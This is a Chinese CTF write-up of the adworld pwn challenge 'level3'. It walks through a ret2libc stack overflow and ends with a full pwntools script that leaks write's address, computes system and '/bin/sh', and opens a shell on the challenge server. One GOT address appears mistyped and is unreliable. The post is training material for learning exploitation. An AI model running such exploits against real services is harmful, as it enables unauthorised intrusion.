攻防世界pwn——level3

分析

题目提示摆明了ret2libc,附件是.gz,解压→tar,解压→两个文件

checksec

IDA

 

很明显漏洞点就在read里,可以读取比buf大的内容

cyclic得到偏移是140 

 得到plt表中write是0x8048340,got表中write是0x904A018,函数地址0x0804844B

ubuntu

ROPgadget --binary libc_32.so.6 --string "/bin/sh"

 /bin/sh相对位置是0x15902b

readelf -s libc_32.so.6|grep system
readelf -s libc_32.so.6|grep write

 libc表中,write的相对位置在0xd43c0,system的相对位置在0x3a940

所以,“/bin/sh”与write函数的相对距离为0x15902b -  0xd43c0 = 0x84c6b。system与write的相对距离为0x3a940-0xd43c0=-0x99A80

exp

获取write和read的got地址,通过plt来调用。库函数中字符串常量和函数之间的相对位置也是确定的

首先获取libc中的相对位置:找write和system的相对位置0x84c6b,可以用readelf,也可以脚本里的.symbols。算出write和system的相对位置是0x99A80

通过got来获得write的地址,并通过plt来调用它。注意,地址之间填充 4 个字节(b'0000')是因为,当程序的执行流因返回地址的改变跳到write,只是完成了一个跳转,而正常地call一个函数在跳转前会把eip先压入到栈内,跳转会缺失这一步,到达write后p32(elf.plt['write']) 这部分代表的内存会被压入ebp而不是eip,那么要想访问到后面函数 ,就需要在两者之间填充一个虚假的eip,这个可以随意,因为我们只需要write调用之后的效果,至于程序最后在返回时会不会segment default并不需要关心。b'0000'相当于填的是原来call的位置,因此该类漏洞的payload格式如下

b'0'*140+p32(elf.plt['write'])+b'0000'+p32(1)+p32(elf.got['write'])+p32(10)

在获得函数地址后控制程序的执行流,让它回到read的地方,从而使我们能够输入另一条payload来获得shell。回到 main 也一样,所以上面 b'0000' 的部分需要被改为main的地址0x08048484。这样程序就会返回write的地址(动态的),但是偏移我们以及得到,就可以通过偏移计算其他地址,system是write-0x99A80,"/bin/sh"是write+0x84c6b

from pwn import *
p = remote('61.147.171.105', 55076)
elf = ELF('level3')
libc = ELF('libc_32.so.6')

write_plt=elf.plt["write"] #0x8048340
write_got=elf.got["write"] #0x904A018
vul_addr=elf.symbols["vulnerable_function"] #0x0804844B
main_addr=elf.symbols['main'] #08048484

payload1=b'0'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10)
# 获取got地址后,通过plt来调用write
# p32(1)开始传入main的3个参数
p.sendlineafter("Input:\n",payload1)

write_addr=u32(p.recv()[:4])

system_addr=write_addr-0x99A80
binsh_addr=write_addr+0x84c6b
payload2=b'0'*140+p32(system_addr)+b'0000'+p32(binsh_addr)

p.sendline(payload2)
p.interactive()

总的来说,系统开启了 ASLR ,那么每次库的加载地址都不同,因此库函数的地址也不同,首先是利用write的got和plt来泄露动态的write地址。通过libc计算偏移,再利用前面泄露的write地址计算system和"/bin/sh"的动态地址,从而得到shell。

关于PIE和ASLR:ASLR和PIE的区别和作用_coke_pwn的博客-CSDN博客_aslr

有一篇讲的比较好的WP:攻防世界PWN题 level3 - 愚人呀 - 博客园 (cnblogs.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值